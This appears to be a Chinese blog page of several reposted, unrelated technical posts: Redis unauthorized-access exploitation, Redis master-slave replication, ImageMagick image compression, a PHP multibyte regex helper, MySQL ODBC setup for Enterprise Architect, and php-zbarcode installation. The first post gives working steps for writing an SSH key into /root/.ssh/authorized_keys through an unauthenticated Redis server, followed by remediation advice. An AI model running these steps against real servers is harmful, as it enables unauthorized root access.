【转】详解Redis数据库配置不当遭恶意入侵过程

Redis数据库简介
Redis(REmote DIctionary Server)是一款开源、支持网络、基于内存的高级键值对(Key-Value)存储数据库,其使用C语言编写实现。Redis通常被称为数据结构服务器,因为数据库中键(Key)的值(Value)可以是字符串、哈希表、列表、集合、有序集合等各种数据结构。
Redis是内存数据库,因为其将全部的数据都存储在内存之中,传统的数据库如MySQL、SQLite等都是磁盘数据库(数据存储在磁盘上)。在关闭Redis之前,应当对内存中的数据进行备份,否则数据会丢失,不过,Redis支持定期自动备份内存中的数据到磁盘上。
Redis是非关系型数据库,即NoSQL(Not Only SQL)。其数据存储不需要固定的表格模式,不使用SQL作为查询语言。

ssh-keygen
ssh-keygen命令用于为“ssh”生成、管理和转换认证密钥

redis 未授权访问
redis 以前就被曝未授权访问,redis 默认情况下,没有配置登陆密码,任意用户可以登录,造成数据泄露,通过进一步操作还可以拿到webshell。不懂得可以去这里学习下,有配套的实验环境和挺详细的指导书。
Redis数据库安全攻防实践

最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵。
下面我来简单演示下
首先在攻击机上直接连接被攻击机,可以看到是需要密码的。

下面我们通过redis 未授权访问来拿到目标机的root权限。
我们先在攻击机生成一个公钥。

我们可以在~/.ssh 目录下看到生成的公钥和私钥文件

我们只要把生成的公钥文件传到其他机器的~/.ssh/目录下并且重命名为authorized_keys(默认的是这个文件,可以在/etc/ssh/sshd_config里修改),那么就可以不需要root 也能登陆目标机器了。
我们这里利用redis 的未授权访问来达到目的。
我们先把公钥保存txt 文件里

在前后加入两个回车,是为了我们的公钥在被写入目标机器的authorized_keys文件时是在新的一行以保证写入的公钥文件有效。
执行以下命令
cat test.txt | redis-cli -h 10.1.1.94 -x set redis

然后登陆redis,执行以下命令
CONFIG SET dir /root/.ssh/? ? ? ? ? ? ? ? 设置备份路径为/root/.ssh/
CONFIG SET dbfilename “authorized_keys” //设置备份文件名为authorized_keys
Save? ? ? ? //保存数据到磁盘


这样就可以用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆。

漏洞修复
1、指定redis服务使用的网卡
在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#号去掉,然后保存。注:修改后只有本机才能访问redis。

2、设置访问密码
在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密码。

3、修改redis服务运行账号
请以较低权限账号运行redis服务,且禁用该账号的登录权限。

注意:redis 需要重启生效。

【转】Redis学习手册(主从复制)

一、Redis的Replication:

这里首先需要说明的是,在Redis中配置Master-Slave模式真是太简单了。相信在阅读完这篇Blog之后你也可以轻松做到。这里我们还是先列出一些理论性的知识,后面给出实际操作的案例。
下面的列表清楚的解释了Redis Replication的特点和优势。
1). 同一个Master可以同步多个Slaves。
2). Slave同样可以接受其它Slaves的连接和同步请求,这样可以有效的分载Master的同步压力。因此我们可以将Redis的Replication架构视为图结构。
3). Master Server是以非阻塞的方式为Slaves提供服务。所以在Master-Slave同步期间,客户端仍然可以提交查询或修改请求。
4). Slave Server同样是以非阻塞的方式完成数据同步。在同步期间,如果有客户端提交查询请求,Redis则返回同步之前的数据。
5). 为了分载Master的读操作压力,Slave服务器可以为客户端提供只读操作的服务,写服务仍然必须由Master来完成。即便如此,系统的伸缩性还是得到了很大的提高。
6). Master可以将数据保存操作交给Slaves完成,从而避免了在Master中要有独立的进程来完成此操作。

二、Replication的工作原理:

在Slave启动并连接到Master之后,它将主动发送一个SYNC命令。此后Master将启动后台存盘进程,同时收集所有接收到的用于修改数据集的命令,在后台进程执行完毕后,Master将传送整个数据库文件到Slave,以完成一次完全同步。而Slave服务器在接收到数据库文件数据之后将其存盘并加载到内存中。此后,Master继续将所有已经收集到的修改命令,和新的修改命令依次传送给Slaves,Slave将在本次执行这些数据修改命令,从而达到最终的数据同步。
如果Master和Slave之间的链接出现断连现象,Slave可以自动重连Master,但是在连接成功之后,一次完全同步将被自动执行。

三、如何配置Replication:

见如下步骤:
1). 同时启动两个Redis服务器,可以考虑在同一台机器上启动两个Redis服务器,分别监听不同的端口,如6379和6380。
2). 在Slave服务器上执行一下命令:
?/> redis-cli -p 6380?? #这里我们假设Slave的端口号是6380
redis 127.0.0.1:6380> slaveof 127.0.0.1 6379 #我们假设Master和Slave在同一台主机,Master的端口为6379
OK
上面的方式只是保证了在执行slaveof命令之后,redis_6380成为了redis_6379的slave,一旦服务(redis_6380)重新启动之后,他们之间的复制关系将终止。
如果希望长期保证这两个服务器之间的Replication关系,可以在redis_6380的配置文件中做如下修改:
/> cd /etc/redis? #切换Redis服务器配置文件所在的目录。
/> ls
6379.conf? 6380.conf
/> vi 6380.conf

?? ?# slaveof <masterip> <masterport>
改为
?? ?slaveof 127.0.0.1 6379
保存退出。

详细配置项说明:

slaveof <masterip> <masterport>

slave实例需要配置该项,指向master的(ip, port)

masterauth <master-password>

如果master实例启用了密码保护,则该配置项需填master的启动密码;若master未启用密码,该配置项需要注释掉

slave-serve-stale-data

指定slave与master连接中断时的动作。默认为yes,表明slave会继续应答来自client的请求,但这些数据可能已经过期(因为连接中断导致无法从master同步)

若配置为no,则slave除正常应答"INFO""SLAVEOF"命令外,其余来自客户端的请求命令均会得到"SYNC with master in progress"的应答,

直到该slave与master的连接重建成功或该slave被提升为master。

slave-read-only

指定slave是否只读,默认为yes。若配置为no,这表示slave是可写的,但写的内容在主从同步完成后会被删掉

repl-ping-slave-period

Redis部署为Replication模式后,slave会以预定周期(默认10s)发PING包给master,该配置可以更改这个默认周期

repl-timeout

有2种情况的超时均由该配置指定:1) Bulk transfer I/O timeout; 2) master data or ping response timeout

需要特别注意的是:若修改默认值,则用户输入的值必须大于repl-ping-slave-period的配置值,否则在主从链路延时较高时,会频繁timeout

repl-disable-tcp-nodelay

指定向slave同步数据时,是否禁用socket的NO_DELAY选项。

若配置为yes,则禁用NO_DELAY,则TCP协议栈会合并小包统一发送,这样可以减少主从节点间的包数量并节省带宽,但会增加数据同步到slave的时间

若配置为no,表明启用NO_DELAY,则TCP协议栈不会延迟小包的发送时机,这样数据同步的延时会减少,但需要更大的带宽

通常情况下,应该配置为no以降低同步延时,但在主从节点间网络负载已经很高的情况下,可以配置为yes

备注:socket的NO_DELAY选项涉及到TCP协议栈的拥塞控制算法—Nagle's Algorithm

slave-priority

指定slave的优先级。在不只1个slave存在的部署环境下,当master宕机时,Redis Sentinel会将priority值最小的slave提升为master

需要注意的是,若该配置项为0,则对应的slave永远不会被Redis Sentinel自动提升为master

这样就可以保证Redis_6380服务程序在每次启动后都会主动建立与Redis_6379的Replication连接了。

四、应用示例:

这里我们假设Master-Slave已经建立。
?? ?#启动master服务器。
[root@Stephen-PC redis]# redis-cli -p 6379
redis 127.0.0.1:6379>
?? ?#清空Master当前数据库中的所有Keys。
redis 127.0.0.1:6379> flushdb
OK
?? ?#在Master中创建新的Keys作为测试数据。
redis 127.0.0.1:6379> set mykey hello
OK
redis 127.0.0.1:6379> set mykey2 world
OK
?? ?#查看Master中存在哪些Keys。
redis 127.0.0.1:6379> keys *
1) “mykey”
2) “mykey2”

?? ?#启动slave服务器。
[root@Stephen-PC redis]# redis-cli -p 6380
?? ?#查看Slave中的Keys是否和Master中一致,从结果看,他们是相等的。
redis 127.0.0.1:6380> keys *
1) “mykey”
2) “mykey2”

?? ?#在Master中删除其中一个测试Key,并查看删除后的结果。
redis 127.0.0.1:6379> del mykey2
(integer) 1
redis 127.0.0.1:6379> keys *
1) “mykey”

?? ?#在Slave中查看是否mykey2也已经在Slave中被删除。
redis 127.0.0.1:6380> keys *
1) “mykey”

ImageMagick 压缩图片 方法 golang库

Images as a percentage of page weight for the Alexa top 10 global web sites
图片在站点所占的比重越来越重。更好的优化图片能够提高站点速度。降低宽带流量。

1.对用户上传图片进行缩放

对于用户自己上传的图片不能简单的 用css大小限制,由于这样每次载入图片时候还是会载入整幅大图。占用多余的宽带,而且影响页面载入速度。应该依据实际显示须要进行缩放。比方我想要用户相冊里的图片大小不能超过500×300:

用ImageMagick处理起来非常简单

 

  1. convert?-resize?”500×300>“?input.jpg??output.jpg?#假设图片比500×300小就保持原样,以防小图片被放大失真。

2.生成不同比例缩略图

一般相冊等应用,都会提供缩略图和预览图,这些缩略图相同不能简单的用css来大小限制,要为每一个图片生成不同比例的预览图。

3.去除多余信息

Exif信息是数码相机在拍摄过程中採集的一系列信息,这些信息放置在我们熟知的jpg文件的头部,也就是说Exif信息是镶嵌在JPEG图像文件格式内 的一组拍摄參数,主要包含摄影时的光圈、快门、ISO、日期时间等各种与当时摄影条件相关的讯息,相机品牌型号,色彩编码,拍摄时录制的声音以及全球定位 系统(GPS)等信息。简单的说,它就好像是傻瓜相机的日期打印功能一样,仅仅只是Exif信息所记录的资讯更为详尽和完备。只是,具有Exif信息的 JPEG图像文件要比普通的JPEG文件略大一点。还有就是像PS这样的软件处理过的图片会有“program comments”。假设不是专业的摄影类站点,这些信息是没实用的,能够去掉:

  1. convert?-strip?input.jpg?output.jpg

4.调节压缩比

大多时候,我们的站点并不须要那么清楚的图片,适量调节JPG图片的压缩比会降低图片大小,肉眼并不会分辨出质量被压缩后的图片。通常75%是最佳比例。

  1. convert?-quality?75%?input.jpg?output.jpg

上面几个步骤能够一次搞定:

  1. convert?-resize?”500×300″?-strip?-quality?75%?input.jpg?output.jpg

上面说的都是针对JPG格式的处理方式,以下说一下BMP,GIF,PNG等格式的处理。
对于BMP直接转成JPG就能够了。再依照上面的方式处理。

而GIF和PNG貌似有些特殊。GIF的一些特性(动画效果,透明等)是JPG沒有的,能够依据实际情况选择转或不转,假设转换成jpg,取第一帧仅仅须要这样:

  1. convert?-format?jpg?input.gif?input.jpg

PNG也能够通过降低PNG图片color数量的办法达到压缩的目的。可是这样的办法压缩出来的图像能够明显看出来失真,而且呈锯齿状。
对于真实世界的PNG图片(通常指照片),一般先转换成JPG,再通过上面的办法来压缩。

可是要注意一点,透明或半透明的PNG图片在转换成JPG时透明部分会变成黑色。。。建议做用户头像时候不要转成JPG。。非常难看~~~
本人头像就是深受毒害。。

关于图片扩展名

发现大部分站点喜欢把用户上传的图片(头像,相冊等)都统一转成特定格式(一般都是jpg)。这样做的潜在弊端就是在用像ImageMagick这样的软件处理的时候会依据扩展名做隐式格式转换。
个人认为在保存图片的时候不加扩展名处理起来更灵活一些。

注:把上面的命令行用mini_magick改写用到rails里非常easy的。mini_magick本质就调用系统命令行嘛~~

links:
本文所说的都是对用户上传的图片处理,对站点自身的图片(header,banner等)处理《Even Faster Websites》一书第十章里面写的非常具体了:
http://www.graphics.com/modules.php?name=Sections&op=viewarticle&artid=756

许多其他ImageMagick使用方法:
http://www.imagemagick.org/script/index.php

 

GOLANG的实现库:https://github.com/gographics/imagick

纯GOLANG图片处理服务:https://github.com/pierrre/imageserver

解决php preg_match_all 正则匹配中文出现乱码的问题

今天在处理数据的时候,发现使用preg_match_all 匹配出的数据会有乱码的问题,这时候马上想到使用php的mb_xxx函数。
搜索手册,万能的php手册就是nb,直接把代码都给写好了,下在是替代preg_match_all函数的代码:
function?__mb_ereg_match_all($reg,?$text,$charset=’UTF-8′)
{
????$ret?=?[];
????mb_regex_encoding($charset);
????//?print_r($reg);exit;
????mb_ereg_search_init($text,?$reg);
????$r?=?mb_ereg_search();
????if?(!?$r)?{}?else?{
????????$r?=?mb_ereg_search_getregs();?//?get?first?result
????????do?{
????????????$ret[]?=?$r[1];
????????????$r?=?mb_ereg_search_regs();?//?get?next?result
????????}?while?($r);
????}
????return?$ret;
}

Enterprise Architect 连接装mysql

默认Enterprise Architect 是没有装MYSQL驱动的,如果要使用Enterprise Architect 连接MYSQL需要先装MYSQL的连接驱动。

下面是安装MYSQL ODBC驱动的过程与遇到的问题:

官网下载mysql odbc驱动(测试了好多版最好只有3.51.30版是可以正常使用的)

在安装MYSQL ODBC驱动遇到如下问题:丢失msvcr100.dll

QQ截图20150310112448网上搜索得知,此问题是因为系统没有安装VC2010运行库的原因,于是就安装VC2010 64位运行库(因为我机器是64位的),Microsoft .NET Framework 4也一起安装了,重装安装MYSQL ODBC驱动,顺利安装。

这里附上本站下载地址:VC2010 64位运行库

mysql odbc 64位驱动

 

的EA连接MYSQL选择驱动时就会显示出来MYSQL ODBC的驱动,如图:

QQ截图20150310115141

 

 

PHP识别二维码功能,php-zbarcode 安装

写之前先鄙视下利用此开源程序收费的人。

php-zbarcode是PHP识别二维码的扩展。

下面是安装方法,安装前要先安装ImageMagick、zbar.

php-zbarcode 下载地址

安装ImageMagick:
yum install ImageMagick.x86_64 ImageMagick-devel.x86_64

安装zbar:
wget http://jaist.dl.sourceforge.net/project/zbar/zbar/0.10/zbar-0.10.tar.bz2
tar jxvf zbar-0.10.tar.bz2
cd zbar-0.10
./configure –without-gtk –without-qt –without-python –prefix=/usr/local/zbar
make all
make install
echo “/usr/local/zbar/lib/” >> /etc/ld.so.conf
ldconfig
ln -s /usr/local/zbar/lib/pkgconfig/zbar.pc? /usr/lib64/pkgconfig/zbar.pc

安装php-zbarcode:
wget https://github.com/lgchgt/php-zbarcode/archive/master.zip
unzip master
cd php-zbarcode-master
/xxx/server/php/bin/phpze
/configure –with-php-config=/xxx/server/php/bin/php-config
make
make install

查看是否有:zbarcode.so
ll /xxx/server/php/lib/php/extensions/no-debug-non-zts-20100525/
添加:extension=zbarcode.so 到php.ini配置文件

重启PHP:

service php-fpm restart
运行 : php -i|grep zbar
检查是否安装功能

创建文件:zbar.php
<?php
/* Create new image object */
$image = new ZBarCodeImage(“1.jpg”);

/* Create a barcode scanner */
$scanner = new ZBarCodeScanner();

/* Scan the image */
$barcode = $scanner->scan($image);
print_r($barcode);
/* Loop through possible barcodes */
if (!empty($barcode)) {
foreach ($barcode as $code) {
printf(“Found type %s barcode with data %s\n”, $code[‘type’], $code[‘data’]);
}
}
?>
验证结果;